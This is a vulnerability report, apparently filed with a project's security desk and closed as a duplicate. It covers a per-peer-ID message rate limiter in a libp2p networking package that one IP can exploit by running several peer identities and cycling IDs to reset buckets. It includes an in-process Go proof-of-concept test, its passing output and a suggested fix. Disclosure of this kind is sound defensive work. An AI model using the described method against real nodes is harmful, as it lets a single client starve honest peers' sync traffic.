net: message rate limit is keyed per libp2p peer ID, one IP can run 8 full-rate hosts (High)
Report
Summary
The per-peer message rate limiter keys on the libp2p peer ID, which is a free generated ed25519 identity, not on the source IP address. The connection resource manager allows 8 concurrent connections per IPv4 address, so one host can run 8 long lived connections each with its own 50 RPS bucket, 400 attempted RPS against the 200 RPS global limiter, starving honest block, vote and certificate request streams on that node. The limiter table is also evicted insert-order, so cycling more than 2048 peer IDs resets victims' buckets.
Affected component
net/msg.go, limiter constants at lines 26 to 31, keying on s.Conn().RemotePeer() at lines 76 to 80; net/ratelimit.go, evictOldestLocked at lines 99 to 108 (FIFO, not LRU); net/host.go connection limits at lines 39 to 41, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.
Impact
One IP address can halve or worse the effective sync throughput of a target node: request streams are reset while the attacker's connections stay under their per-peer budgets. The global limiter is not bypassed, so this is starvation on one node, not a crash.
Suggested severity: High (sustained degradation a single client can cause). Confirmed by read-only source review.
PoC
Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at net/poc_f9_test.go (it joins the package's own test build), then:
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F9 ./net
Test file (net/poc_f9_test.go):
package net
import (
"fmt"
"os"
"testing"
"time"
"github.com/libp2p/go-libp2p/core/peer"
)
// TestPoC_F9 drives the msg peerRateLimiter: identity is a cheap peer.ID,
// eviction is insert-order FIFO, and 8 hosts * 50 RPS exceeds the 200 RPS
// global cap. No libp2p network.
func TestPoC_F9(t *testing.T) {
pass, detail := runF9()
if pass {
fmt.Println("PASS: F9 msg limiter is per peer.ID with FIFO eviction; 8*50 > 200 global")
fmt.Println(detail)
return
}
fmt.Println("FAIL: F9 expected FIFO eviction of the victim bucket")
fmt.Println(detail)
os.Exit(0)
}
func runF9() (bool, string) {
l := newPeerRateLimiter(msgPerPeerRPS, msgPerPeerBurst, msgGlobalRPS, msgGlobalBurst, msgLimiterPeers)
victim := peer.ID("victim-peer-id-0000")
// Consume the victim's burst so a later allow would fail if the bucket
// is NOT evicted and replaced.
consumed := 0
for i := 0; i < msgPerPeerBurst+5; i++ {
if l.allowPeer(victim) {
consumed++
}
}
deniedWhileHeld := !l.allowPeer(victim)
start := time.Now()
for i := 0; i < msgLimiterPeers; i++ {
p := peer.ID(fmt.Sprintf("flood-%04d", i))
if !l.allowPeer(p) {
return false, fmt.Sprintf("flood peer %d unexpectedly denied", i)
}
}
elapsed := time.Since(start)
// Victim was the oldest insert. FIFO eviction dropped that bucket;
// the next allow creates a fresh limiter with a full burst.
restored := 0
for i := 0; i < 50; i++ {
if l.allowPeer(victim) {
restored++
}
}
eightTimesPeer := 8 * msgPerPeerRPS
detail := fmt.Sprintf(
"msgPerPeerRPS=%d burst=%d globalRPS=%d globalBurst=%d limiterPeers=%d
"+
"8 hosts * %d RPS = %d attempted RPS vs global %d
"+
"victim burst consumed=%d then denied=%v
"+
"inserted %d later IDs in %s (FIFO evicts victim)
"+
"victim immediate allows after eviction=%d (fresh burst, not leftover tokens)",
msgPerPeerRPS, msgPerPeerBurst, msgGlobalRPS, msgGlobalBurst, msgLimiterPeers,
msgPerPeerRPS, eightTimesPeer, msgGlobalRPS,
consumed, deniedWhileHeld,
msgLimiterPeers, elapsed.Round(time.Millisecond),
restored,
)
ok := deniedWhileHeld && restored >= 40 && eightTimesPeer > msgGlobalRPS
return ok, detail
}
Fix suggestion
Key the limiter on remote IP (with per-peer limits layered on top) and evict by least-recently-used instead of insert order.
Run (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):
=== RUN TestPoC_F9
PASS: F9 msg limiter is per peer.ID with FIFO eviction; 8*50 > 200 global
msgPerPeerRPS=50 burst=200 globalRPS=200 globalBurst=400 limiterPeers=2048
8 hosts * 50 RPS = 400 attempted RPS vs global 200
victim burst consumed=200 then denied=true
inserted 2048 later IDs in 1ms (FIFO evicts victim)
victim immediate allows after eviction=50 (fresh burst, not leftover tokens)
--- PASS: TestPoC_F9 (0.00s)
PASS
ok github.com/xeprotocol/xe/net 0.017s
Thread
Thanks. This is the same report as #47, which you filed a few seconds later with the fuller write-up; the desk keeps #47 (accepted, fix in PR #137) and closes this one as the duplicate. Nothing is lost, the credit sits on #47.